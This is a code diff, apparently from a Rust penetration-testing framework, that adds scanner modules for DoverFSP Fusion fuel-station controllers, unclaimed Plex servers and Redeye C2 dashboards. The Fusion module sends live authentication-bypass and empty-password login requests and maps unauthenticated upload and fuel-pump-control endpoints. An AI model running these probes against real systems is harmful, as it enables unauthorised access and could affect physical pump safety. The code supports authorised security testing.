let login_url = format!("{}/Security/Login_events_newweb.php", base);
|
||||
crate::mprintln!("{} Probing Content-Type confusion at {}", "[*]".blue(), login_url);
|
||||
match probe_content_type_confusion(&client, &login_url).await {
|
||||
Ok(true) => {
|
||||
crate::mprintln!(
|
||||
"{} Content-Type confusion CONFIRMED — Login_events_newweb.php returns Ok for form-encoded data",
|
||||
"[+]".green().bold()
|
||||
);
|
||||
hits.push("content_type_confusion_login_bypass");
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"DoverFSP Fusion Content-Type confusion auth bypass at {}",
|
||||
login_url
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"endpoint": "/Security/Login_events_newweb.php",
|
||||
"vector": "form-encoded POST returns result=Ok regardless of credentials",
|
||||
})),
|
||||
});
|
||||
}
|
||||
Ok(false) => crate::mprintln!("{} no Content-Type bypass", "[-]".yellow()),
|
||||
Err(e) => log_probe_err("Content-Type confusion probe", e).await,
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------
|
||||
// 2. Empty-hash CAJERO 2 account via JSON endpoint
|
||||
// ----------------------------------------------------------------------
|
||||
crate::mprintln!("{} Probing empty-hash CAJERO 2 account...", "[*]".blue());
|
||||
match probe_cajero2_empty(&client, &login_url).await {
|
||||
Ok(true) => {
|
||||
crate::mprintln!("{} CAJERO 2 empty-password auth SUCCEEDED", "[+]".green().bold());
|
||||
hits.push("cajero2_empty_hash_auth");
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!(
|
||||
"DoverFSP Fusion CAJERO 2 account on {} authenticates with empty password",
|
||||
normalized
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"username": "CAJERO 2",
|
||||
"password": "",
|
||||
"endpoint": "/Security/Login_events_newweb.php",
|
||||
})),
|
||||
});
|
||||
}
|
||||
Ok(false) => crate::mprintln!("{} CAJERO 2 empty-hash auth did not succeed", "[-]".yellow()),
|
||||
Err(e) => log_probe_err("CAJERO 2 probe", e).await,
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------
|
||||
// 3. ChangePassword.php unauthenticated
|
||||
// ----------------------------------------------------------------------
|
||||
let cp_url = format!("{}/Security/ChangePassword.php", base);
|
||||
crate::mprintln!("{} Probing unauthenticated ChangePassword.php...", "[*]".blue());
|
||||
match probe_changepassword(&client, &cp_url).await {
|
||||
Ok(true) => {
|
||||
crate::mprintln!(
|
||||
"{} ChangePassword.php is reachable without authentication",
|
||||
"[+]".green().bold()
|
||||
);
|
||||
hits.push("changepassword_unauth_no_csrf");
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"DoverFSP Fusion ChangePassword.php at {} is unauthenticated and has no CSRF token",
|
||||
cp_url
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"endpoint": "/Security/ChangePassword.php",
|
||||
})),
|
||||
});
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => log_probe_err("ChangePassword probe", e).await,
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------
|
||||
// 4. UploadFileHelper.php no auth (HEAD only — never upload)
|
||||
// ----------------------------------------------------------------------
|
||||
let up_url = format!("{}/service/UploadHelper/UploadFileHelper.php", base);
|
||||
crate::mprintln!("{} Probing UploadFileHelper.php (HEAD/GET only, no upload)...", "[*]".blue());
|
||||
match probe_upload_helper(&client, &up_url).await {
|
||||
Ok(Some(status)) => {
|
||||
crate::mprintln!(
|
||||
"{} UploadFileHelper.php reachable without auth (status {})",
|
||||
"[+]".green().bold(),
|
||||
status
|
||||
);
|
||||
hits.push("upload_file_helper_unauth");
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"DoverFSP Fusion UploadFileHelper.php at {} reachable without authentication — RCE vector",
|
||||
up_url
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"endpoint": "/service/UploadHelper/UploadFileHelper.php",
|
||||
"status": status,
|
||||
"context": "PHP typically runs as SYSTEM with disable_functions empty",
|
||||
})),
|
||||
});
|
||||
}
|
||||
Ok(None) => {}
|
||||
Err(e) => log_probe_err("UploadFileHelper probe", e).await,
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------
|
||||
// 5. Live /api/* endpoints
|
||||
// ----------------------------------------------------------------------
|
||||
let api_endpoints = [
|
||||
"/api/sales.php",
|
||||
"/api/prices.php",
|
||||
"/api/tanks.php",
|
||||
"/api/volumeByHose.php",
|
||||
"/api/modules.php",
|
||||
"/api/alarms.php",
|
||||
"/api/attendant.php",
|
||||
"/api/changeRedirect.php",
|
||||
];
|
||||
let mut leaked: Vec<String> = Vec::new();
|
||||
for ep in &api_endpoints {
|
||||
let url = format!("{}{}", base, ep);
|
||||
match probe_api_endpoint(&client, &url).await {
|
||||
Ok(Some(body_len)) => {
|
||||
crate::mprintln!("{} {} leaks live data ({} bytes)", "[+]".green(), ep, body_len);
|
||||
leaked.push((*ep).to_string());
|
||||
}
|
||||
Ok(None) => {}
|
||||
Err(e) => log_probe_err(&format!("api probe {}", ep), e).await,
|
||||
}
|
||||
}
|
||||
if !leaked.is_empty() {
|
||||
hits.push("api_unauth_live_data");
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"DoverFSP Fusion at {} exposes {} unauthenticated /api/* endpoints with live data",
|
||||
normalized,
|
||||
leaked.len()
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"endpoints": leaked,
|
||||
})),
|
||||
});
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------
|
||||
// 6. SSFForecourtRealView (presence only, no AJAX call)
|
||||
// ----------------------------------------------------------------------
|
||||
let pump_url = format!("{}/Operation/SSFForecourtRealView.php", base);
|
||||
match probe_forecourt_realview(&client, &pump_url).await {
|
||||
Ok(true) => {
|
||||
crate::mprintln!(
|
||||
"{} SSFForecourtRealView.php exposes pump-control AJAX without auth (page reachable)",
|
||||
"[+]".green().bold()
|
||||
);
|
||||
hits.push("forecourt_realview_pump_control");
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"DoverFSP Fusion SSFForecourtRealView.php at {} exposes fuel-pump control AJAX without auth",
|
||||
pump_url
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"endpoint": "/Operation/SSFForecourtRealView.php",
|
||||
"functions": ["openPump", "togglePumpHandle", "unlockFDCPump", "clearPumpStop", "pressurizePipe"],
|
||||
"physical_safety_risk": true,
|
||||
})),
|
||||
});
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => log_probe_err("SSFForecourtRealView probe", e).await,
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------
|
||||
// 7. SSFDownloadConfigTemplate — returns a ZIP with user/role/hash table
|
||||
// ----------------------------------------------------------------------
|
||||
let tmpl_url = format!("{}/service/SSFDownloadConfigTemplate.php?type=eps", base);
|
||||
match probe_config_template(&client, &tmpl_url).await {
|
||||
Ok(Some(byte_count)) => {
|
||||
crate::mprintln!(
|
||||
"{} SSFDownloadConfigTemplate.php returned ZIP ({} bytes) without authentication",
|
||||
"[+]".green().bold(),
|
||||
byte_count
|
||||
);
|
||||
hits.push("config_template_dump");
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"DoverFSP Fusion SSFDownloadConfigTemplate.php at {} returns config archive containing user hash table without auth",
|
||||
tmpl_url
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"endpoint": "/service/SSFDownloadConfigTemplate.php",
|
||||
"bytes_returned": byte_count,
|
||||
})),
|
||||
});
|
||||
}
|
||||
Ok(None) => {}
|
||||
Err(e) => log_probe_err("SSFDownloadConfigTemplate probe", e).await,
|
||||
}
|
||||
|
||||
if !hits.is_empty() {
|
||||
crate::workspace::track_host(&normalized, None, Some("DoverFSP Fusion (vulnerable)")).await;
|
||||
crate::mprintln!(
|
||||
"{} {} vulnerable conditions confirmed: {}",
|
||||
"[+]".green().bold(),
|
||||
hits.len(),
|
||||
hits.join(", ")
|
||||
);
|
||||
} else {
|
||||
crate::mprintln!("{} No DoverFSP Fusion vulnerabilities confirmed at this target", "[-]".yellow());
|
||||
}
|
||||
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
async fn probe_content_type_confusion(client: &reqwest::Client, login_url: &str) -> Result<bool> {
|
||||
let r = client
|
||||
.post(login_url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.body("angusr=FUSIONPROBE_AUDIT&angpwd=&anglang=en")
|
||||
.send()
|
||||
.await
|
||||
.context("send form-encoded probe")?;
|
||||
let status = r.status();
|
||||
let body = crate::utils::network::read_http_body_text_capped(r, DEFAULT_BODY_CAP)
|
||||
.await
|
||||
.context("read body")?;
|
||||
Ok(status.is_success() && body.contains("\"result\":\"Ok\""))
|
||||
}
|
||||
|
||||
async fn probe_cajero2_empty(client: &reqwest::Client, login_url: &str) -> Result<bool> {
|
||||
let r = client
|
||||
.post(login_url)
|
||||
.header("Content-Type", "application/json")
|
||||
.body(r#"{"angusr":"CAJERO 2","angpwd":"","anglang":"en"}"#)
|
||||
.send()
|
||||
.await
|
||||
.context("send JSON empty-pw probe")?;
|
||||
let body = crate::utils::network::read_http_body_text_capped(r, DEFAULT_BODY_CAP)
|
||||
.await
|
||||
.context("read body")?;
|
||||
Ok(body.contains("\"user\":\"CAJERO 2\"")
|
||||
|| body.contains("\"result\":\"Ok\",\"user\":\"CAJERO"))
|
||||
}
|
||||
|
||||
async fn probe_changepassword(client: &reqwest::Client, cp_url: &str) -> Result<bool> {
|
||||
let r = client.get(cp_url).send().await.context("GET ChangePassword.php")?;
|
||||
let status = r.status();
|
||||
let body = crate::utils::network::read_http_body_text_capped(r, DEFAULT_BODY_CAP)
|
||||
.await
|
||||
.context("read body")?;
|
||||
Ok(status.is_success() && body.to_lowercase().contains("pswchange"))
|
||||
}
|
||||
|
||||
async fn probe_upload_helper(client: &reqwest::Client, up_url: &str) -> Result<Option<u16>> {
|
||||
let r = client.get(up_url).send().await.context("GET UploadFileHelper.php")?;
|
||||
let status = r.status();
|
||||
if status.is_success() {
|
||||
Ok(Some(status.as_u16()))
|
||||
} else {
|
||||
Ok(None)
|
||||
}
|
||||
}
|
||||
|
||||
async fn probe_api_endpoint(client: &reqwest::Client, url: &str) -> Result<Option<usize>> {
|
||||
let r = client.get(url).send().await.context("GET /api/*")?;
|
||||
let status = r.status();
|
||||
if !status.is_success() {
|
||||
return Ok(None);
|
||||
}
|
||||
let body = crate::utils::network::read_http_body_text_capped(r, DEFAULT_BODY_CAP)
|
||||
.await
|
||||
.context("read body")?;
|
||||
let looks_json = body.trim_start().starts_with('{') || body.trim_start().starts_with('[');
|
||||
if looks_json && body.len() > 2 {
|
||||
Ok(Some(body.len()))
|
||||
} else {
|
||||
Ok(None)
|
||||
}
|
||||
}
|
||||
|
||||
async fn probe_forecourt_realview(client: &reqwest::Client, pump_url: &str) -> Result<bool> {
|
||||
let r = client.get(pump_url).send().await.context("GET SSFForecourtRealView.php")?;
|
||||
let status = r.status();
|
||||
let body = crate::utils::network::read_http_body_text_capped(r, DEFAULT_BODY_CAP)
|
||||
.await
|
||||
.context("read body")?;
|
||||
Ok(status.is_success()
|
||||
&& (body.contains("openPump")
|
||||
|| body.contains("unlockFDCPump")
|
||||
|| body.contains("pressurizePipe")))
|
||||
}
|
||||
|
||||
async fn probe_config_template(client: &reqwest::Client, tmpl_url: &str) -> Result<Option<usize>> {
|
||||
let r = client.get(tmpl_url).send().await.context("GET SSFDownloadConfigTemplate.php")?;
|
||||
let status = r.status();
|
||||
let ctype = crate::utils::header_string(r.headers(), "content-type");
|
||||
let bytes = r.bytes().await.context("read body bytes")?;
|
||||
let is_zip = bytes.len() >= 4 && &bytes[..2] == b"PK";
|
||||
if status.is_success() && (is_zip || ctype.contains("zip")) {
|
||||
Ok(Some(bytes.len()))
|
||||
} else {
|
||||
Ok(None)
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(
|
||||
crate::module::Category::Exploits,
|
||||
"webapps/doverfsp_fusion_authbypass",
|
||||
native
|
||||
);
|
||||
@@ -43,6 +43,9 @@ pub mod convio_sqli;
|
||||
pub mod coohom_xss;
|
||||
pub mod cpms_authbypass;
|
||||
pub mod craftcms_logicflaw;
|
||||
pub mod doverfsp_fusion_authbypass;
|
||||
pub mod plex_unclaimed_takeover;
|
||||
pub mod redeye_c2_unauth_project;
|
||||
pub mod craftcms_ssti_scanner;
|
||||
pub mod crafty_controller_rce_cve_2025_14700;
|
||||
pub mod django_sqli_cve_2025_64459;
|
||||
|
||||
@@ -0,0 +1,202 @@
|
||||
//! Plex Media Server — Unclaimed Server Takeover Detection
|
||||
//! ========================================================
|
||||
//!
|
||||
//! A Plex Media Server that has never been claimed by a `plex.tv` account
|
||||
//! returns `claimed=false` from `GET /identity`. Anyone with a Plex account
|
||||
//! can complete the claim flow and obtain full administrative control over
|
||||
//! the server — including filesystem browsing (via the media library picker)
|
||||
//! and code execution via plugins.
|
||||
//!
|
||||
//! This module is detection-only. It queries `/identity`, parses the
|
||||
//! `MediaContainer` block (XML by default, JSON when `Accept: application/json`
|
||||
//! is sent), and reports the claim state plus version and machine
|
||||
//! identifier. It never sends a claim token.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::safe_io::DEFAULT_BODY_CAP;
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
|
||||
|
||||
const DEFAULT_PORT: u16 = 32400;
|
||||
const TIMEOUT_SECS: u64 = 8;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "Plex Media Server — Unclaimed Server Takeover".to_string(),
|
||||
description: "Detects Plex Media Servers that are unclaimed (claimed=false).\n\
|
||||
An unclaimed server can be taken over by any plex.tv account\n\
|
||||
through the standard claim flow, giving full administrative\n\
|
||||
access including media library and host filesystem browsing.\n\
|
||||
Module is detection-only — does NOT submit a claim token."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Team".to_string()],
|
||||
references: vec![
|
||||
"https://support.plex.tv/articles/claim-server/".to_string(),
|
||||
"https://www.plex.tv/api/v2/identity".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2026-06-12".to_string()),
|
||||
rank: ModuleRank::Great,
|
||||
default_port: Some(DEFAULT_PORT),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("plex_unclaimed_takeover requires a single-host target")?;
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Plex HTTP port", DEFAULT_PORT).await?;
|
||||
let scheme = cfg_prompt_default("scheme", "Scheme (http/https)", "http").await?;
|
||||
let base = format!("{}://{}:{}", scheme, normalized, port);
|
||||
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS))
|
||||
.context("HTTP client")?;
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Plex Media Server — Unclaimed Detection ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!("{} {}", "[*] Target:".yellow(), base);
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
let url = format!("{}/identity", base);
|
||||
crate::mprintln!("{} GET {}", "[*]".blue(), url);
|
||||
|
||||
let resp = match client.get(&url).header("Accept", "application/json").send().await {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} request failed: {}", "[-]".red(), e);
|
||||
return Ok(outcome);
|
||||
}
|
||||
};
|
||||
|
||||
let status = resp.status();
|
||||
let body = crate::utils::network::read_http_body_text_capped(resp, DEFAULT_BODY_CAP)
|
||||
.await
|
||||
.context("read /identity body")?;
|
||||
|
||||
if !status.is_success() {
|
||||
crate::mprintln!("{} unexpected HTTP {} from /identity", "[-]".yellow(), status);
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
let lower = body.to_lowercase();
|
||||
if !lower.contains("mediacontainer") && !lower.contains("machineidentifier") {
|
||||
crate::mprintln!("{} response does not look like a Plex /identity payload", "[-]".yellow());
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
// Detect claimed flag from either JSON or XML payload
|
||||
let claimed = if lower.contains("\"claimed\":false") || lower.contains("claimed=\"0\"") {
|
||||
Some(false)
|
||||
} else if lower.contains("\"claimed\":true") || lower.contains("claimed=\"1\"") {
|
||||
Some(true)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
fn extract(body: &str, key_json: &str, key_xml: &str) -> Option<String> {
|
||||
// JSON: "key":"value"
|
||||
if let Some(idx) = body.find(&format!("\"{}\":", key_json)) {
|
||||
let tail = &body[idx + key_json.len() + 3..];
|
||||
let tail = tail.trim_start_matches([' ', ':', '"']);
|
||||
let end = tail.find(['"', ',', '}']).unwrap_or(tail.len());
|
||||
let v = tail[..end].trim().to_string();
|
||||
if !v.is_empty() {
|
||||
return Some(v);
|
||||
}
|
||||
}
|
||||
// XML: key="value"
|
||||
if let Some(idx) = body.find(&format!("{}=\"", key_xml)) {
|
||||
let tail = &body[idx + key_xml.len() + 2..];
|
||||
let end = tail.find('"').unwrap_or(tail.len());
|
||||
let v = tail[..end].trim().to_string();
|
||||
if !v.is_empty() {
|
||||
return Some(v);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
let version = extract(&body, "version", "version");
|
||||
let machine_id = extract(&body, "machineIdentifier", "machineIdentifier");
|
||||
let api_version = extract(&body, "apiVersion", "apiVersion");
|
||||
|
||||
match claimed {
|
||||
Some(false) => {
|
||||
crate::mprintln!(
|
||||
"{} Plex server is UNCLAIMED — vulnerable to remote takeover",
|
||||
"[+]".green().bold()
|
||||
);
|
||||
if let Some(v) = &version {
|
||||
crate::mprintln!("{} version: {}", "[+]".green(), v);
|
||||
}
|
||||
if let Some(m) = &machine_id {
|
||||
crate::mprintln!("{} machineIdentifier: {}", "[+]".green(), m);
|
||||
}
|
||||
crate::workspace::track_host(&normalized, None, Some("Plex (unclaimed)")).await;
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"Plex Media Server at {} is unclaimed — any plex.tv account can take it over",
|
||||
base
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"claimed": false,
|
||||
"version": version,
|
||||
"api_version": api_version,
|
||||
"machine_identifier": machine_id,
|
||||
"remediation": "Claim the server from the legitimate owner's plex.tv account immediately",
|
||||
})),
|
||||
});
|
||||
}
|
||||
Some(true) => {
|
||||
crate::mprintln!(
|
||||
"{} Plex server is already claimed (no takeover window)",
|
||||
"[-]".green()
|
||||
);
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!("Plex server at {} is already claimed", base),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"claimed": true,
|
||||
"version": version,
|
||||
"machine_identifier": machine_id,
|
||||
})),
|
||||
});
|
||||
}
|
||||
None => {
|
||||
crate::mprintln!(
|
||||
"{} could not determine claim state from response — manual review recommended",
|
||||
"[?]".yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
crate::register_native_module!(
|
||||
crate::module::Category::Exploits,
|
||||
"webapps/plex_unclaimed_takeover",
|
||||
native
|
||||
);
|
||||
@@ -0,0 +1,245 @@
|
||||
//! Redeye C2 — Unauthenticated Project Creation
|
||||
//! ==============================================
|
||||
//!
|
||||
//! The Redeye C2 web dashboard exposes a `/new_project` endpoint that accepts
|
||||
//! form-encoded POST requests without any authentication check. Posting
|
||||
//! `name`/`dbname`/`username`/`password` to this endpoint creates a new
|
||||
//! SQLite-backed project that immediately appears in the login dropdown.
|
||||
//!
|
||||
//! This module is **detection-only**. It probes:
|
||||
//!
|
||||
//! 1. `/` and `/login` for the Redeye dashboard fingerprint (Bootstrap
|
||||
//! 4.4.1, `reduser` cookie, BaseHTTPServer error format).
|
||||
//! 2. `OPTIONS /new_project` for the `Allow: POST, OPTIONS` header that
|
||||
//! confirms the endpoint exists and accepts POST.
|
||||
//! 3. (Optional, off by default) Attempts a POST with a random project
|
||||
//! name — only sent when the operator explicitly opts in by setting
|
||||
//! `confirm_create=true`, since it modifies remote state.
|
||||
//!
|
||||
//! Notable: the dashboard often serves **plain HTTP on port 8443** despite
|
||||
//! the conventional HTTPS port — this is reported as a separate finding.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::safe_io::DEFAULT_BODY_CAP;
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
|
||||
|
||||
const DEFAULT_PORT: u16 = 8443;
|
||||
const TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "Redeye C2 — Unauthenticated /new_project Endpoint".to_string(),
|
||||
description: "Detects Redeye C2 web dashboards that accept project creation\n\
|
||||
on /new_project without any authentication. By default the\n\
|
||||
module only fingerprints the dashboard and OPTIONS-probes the\n\
|
||||
endpoint. Project creation is gated behind confirm_create=true\n\
|
||||
since it writes remote state."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Team".to_string()],
|
||||
references: vec![
|
||||
"https://github.com/redcanaryco/redeye".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2026-06-12".to_string()),
|
||||
rank: ModuleRank::Great,
|
||||
default_port: Some(DEFAULT_PORT),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("redeye_c2_unauth_project requires a single-host target")?;
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Redeye dashboard port", DEFAULT_PORT).await?;
|
||||
let scheme = cfg_prompt_default("scheme", "Scheme (http/https) — Redeye often serves plain HTTP on 8443", "http").await?;
|
||||
let confirm_create = cfg_prompt_default(
|
||||
"confirm_create",
|
||||
"Actually POST a probe project? (modifies remote state) true/false",
|
||||
"false",
|
||||
)
|
||||
.await?;
|
||||
let base = format!("{}://{}:{}", scheme, normalized, port);
|
||||
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS))
|
||||
.context("HTTP client")?;
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Redeye C2 — Unauthenticated Project Creation ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!("{} {}", "[*] Target:".yellow(), base);
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
let mut redeye_detected = false;
|
||||
|
||||
// 1. Fingerprint the dashboard
|
||||
let login_url = format!("{}/login", base);
|
||||
crate::mprintln!("{} GET {}", "[*]".blue(), login_url);
|
||||
let login_resp = match client.get(&login_url).send().await {
|
||||
Ok(r) => Some(r),
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} dashboard fetch failed: {}", "[-]".red(), e);
|
||||
None
|
||||
}
|
||||
};
|
||||
if let Some(r) = login_resp {
|
||||
let status = r.status();
|
||||
let set_cookie = crate::utils::header_string(r.headers(), "set-cookie");
|
||||
let body = match crate::utils::network::read_http_body_text_capped(r, DEFAULT_BODY_CAP).await {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} read body failed: {}", "[-]".yellow(), e);
|
||||
String::new()
|
||||
}
|
||||
};
|
||||
let cookie_match = set_cookie.contains("reduser");
|
||||
let body_match = body.contains("bootstrap")
|
||||
&& (body.contains("Redeye") || body.contains("redeye") || body.contains("\"reduser\""));
|
||||
if status.is_success() && (cookie_match || body_match) {
|
||||
crate::mprintln!("{} Redeye dashboard fingerprint matched", "[+]".green());
|
||||
redeye_detected = true;
|
||||
if scheme.eq_ignore_ascii_case("http") && port == 8443 {
|
||||
crate::mprintln!(
|
||||
"{} Redeye is serving plain HTTP on port 8443 — credentials transmit in cleartext",
|
||||
"[!]".yellow().bold()
|
||||
);
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"Redeye dashboard at {} serves plain HTTP on conventional HTTPS port 8443",
|
||||
base
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"issue": "cleartext_http_on_8443",
|
||||
})),
|
||||
});
|
||||
}
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{} dashboard fingerprint did not match (HTTP {}, reduser cookie present={})",
|
||||
"[-]".yellow(),
|
||||
status,
|
||||
cookie_match
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
if !redeye_detected {
|
||||
crate::mprintln!("{} target does not appear to be Redeye — aborting", "[-]".yellow());
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
// 2. OPTIONS /new_project — confirms endpoint exists
|
||||
let np_url = format!("{}/new_project", base);
|
||||
crate::mprintln!("{} OPTIONS {}", "[*]".blue(), np_url);
|
||||
let mut options_confirmed = false;
|
||||
if let Ok(r) = client.request(reqwest::Method::OPTIONS, &np_url).send().await {
|
||||
let status = r.status();
|
||||
let allow = crate::utils::header_string(r.headers(), "allow");
|
||||
if status.is_success() && allow.to_uppercase().contains("POST") {
|
||||
crate::mprintln!("{} /new_project allows POST without authentication", "[+]".green().bold());
|
||||
options_confirmed = true;
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"Redeye C2 at {} exposes /new_project accepting POST without authentication",
|
||||
base
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"endpoint": "/new_project",
|
||||
"methods": allow,
|
||||
})),
|
||||
});
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{} OPTIONS returned HTTP {} (Allow: {})",
|
||||
"[-]".yellow(),
|
||||
status,
|
||||
allow
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Optional: actually create a probe project
|
||||
if options_confirmed && confirm_create.eq_ignore_ascii_case("true") {
|
||||
// Build a deterministic probe name from the target hash to avoid spamming
|
||||
let name = format!("rustsploit_probe_{}", normalized.chars().filter(|c| c.is_ascii_alphanumeric()).collect::<String>());
|
||||
let dbname = format!("{}.db", name);
|
||||
crate::mprintln!(
|
||||
"{} POST {} (confirm_create=true — creating probe project '{}')",
|
||||
"[!]".yellow(),
|
||||
np_url,
|
||||
name
|
||||
);
|
||||
let form = [
|
||||
("name", name.as_str()),
|
||||
("dbname", dbname.as_str()),
|
||||
("username", "probe"),
|
||||
("password", "probe"),
|
||||
];
|
||||
if let Ok(r) = client.post(&np_url).form(&form).send().await {
|
||||
let status = r.status();
|
||||
let body = match crate::utils::network::read_http_body_text_capped(r, DEFAULT_BODY_CAP).await {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} read body failed: {}", "[-]".yellow(), e);
|
||||
String::new()
|
||||
}
|
||||
};
|
||||
if status.is_success() && body.contains(&dbname) {
|
||||
crate::mprintln!(
|
||||
"{} probe project '{}' visible in project dropdown — unauth project creation CONFIRMED",
|
||||
"[+]".green().bold(),
|
||||
name
|
||||
);
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"Redeye C2 at {} created project '{}' without authentication",
|
||||
base, name
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"endpoint": "/new_project",
|
||||
"project_created": name,
|
||||
"dbname": dbname,
|
||||
"cleanup_note": "Probe project remains on remote host — request operator removal",
|
||||
})),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if redeye_detected {
|
||||
crate::workspace::track_host(&normalized, None, Some("Redeye C2")).await;
|
||||
}
|
||||
Ok(outcome)
|
||||
}
|
||||
